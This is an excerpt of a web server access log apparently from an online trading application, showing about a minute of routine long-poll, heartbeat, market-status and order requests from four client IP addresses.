[09/Jan/2026:14:05:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938982262 HTTP/1.1" -
[09/Jan/2026:14:05:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938992405 HTTP/1.1" -
[09/Jan/2026:14:05:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938976302 HTTP/1.1" -
[09/Jan/2026:14:05:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938978505 HTTP/1.1" -
[09/Jan/2026:14:05:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938987349 HTTP/1.1" -
[09/Jan/2026:14:05:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938997483 HTTP/1.1" -
[09/Jan/2026:14:05:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938981330 HTTP/1.1" -
[09/Jan/2026:14:05:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938983561 HTTP/1.1" -
[09/Jan/2026:14:05:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938992421 HTTP/1.1" -
[09/Jan/2026:14:05:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939002505 HTTP/1.1" -
[09/Jan/2026:14:05:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938986414 HTTP/1.1" -
[09/Jan/2026:14:05:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938988623 HTTP/1.1" -
[09/Jan/2026:14:05:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938997501 HTTP/1.1" -
[09/Jan/2026:14:05:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939007545 HTTP/1.1" -
[09/Jan/2026:14:05:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938991534 HTTP/1.1" -
[09/Jan/2026:14:05:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938993778 HTTP/1.1" -
[09/Jan/2026:14:05:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939002539 HTTP/1.1" -
[09/Jan/2026:14:05:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939012607 HTTP/1.1" -
[09/Jan/2026:14:05:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938996603 HTTP/1.1" -
[09/Jan/2026:14:05:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938998976 HTTP/1.1" -
[09/Jan/2026:14:05:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939007611 HTTP/1.1" -
[09/Jan/2026:14:05:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939017667 HTTP/1.1" -
[09/Jan/2026:14:05:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939001630 HTTP/1.1" -
[09/Jan/2026:14:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939004150 HTTP/1.1" -
[09/Jan/2026:14:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939012701 HTTP/1.1" -
[09/Jan/2026:14:05:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939022731 HTTP/1.1" -
[09/Jan/2026:14:05:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939006684 HTTP/1.1" -
[09/Jan/2026:14:05:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:05:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939009290 HTTP/1.1" -
[09/Jan/2026:14:05:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939017773 HTTP/1.1" -
[09/Jan/2026:14:05:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939027796 HTTP/1.1" -
[09/Jan/2026:14:05:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939011711 HTTP/1.1" -
[09/Jan/2026:14:05:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939014352 HTTP/1.1" -
[09/Jan/2026:14:05:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939022869 HTTP/1.1" -
[09/Jan/2026:14:05:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939032826 HTTP/1.1" -
[09/Jan/2026:14:05:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939016769 HTTP/1.1" -
[09/Jan/2026:14:05:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939019391 HTTP/1.1" -
[09/Jan/2026:14:05:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939027941 HTTP/1.1" -
[09/Jan/2026:14:05:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939037849 HTTP/1.1" -
[09/Jan/2026:14:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1220
[09/Jan/2026:14:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:05:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939021846 HTTP/1.1" -
[09/Jan/2026:14:05:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:05:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:05:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1015
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939024529 HTTP/1.1" -
[09/Jan/2026:14:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1850
[09/Jan/2026:14:05:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939033035 HTTP/1.1" -
[09/Jan/2026:14:05:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939042882 HTTP/1.1" -
[09/Jan/2026:14:05:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939026906 HTTP/1.1" -
[09/Jan/2026:14:06:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939029583 HTTP/1.1" -
[09/Jan/2026:14:06:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939038064 HTTP/1.1" -
[09/Jan/2026:14:06:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939047948 HTTP/1.1" -
[09/Jan/2026:14:06:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939031928 HTTP/1.1" -
[09/Jan/2026:14:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
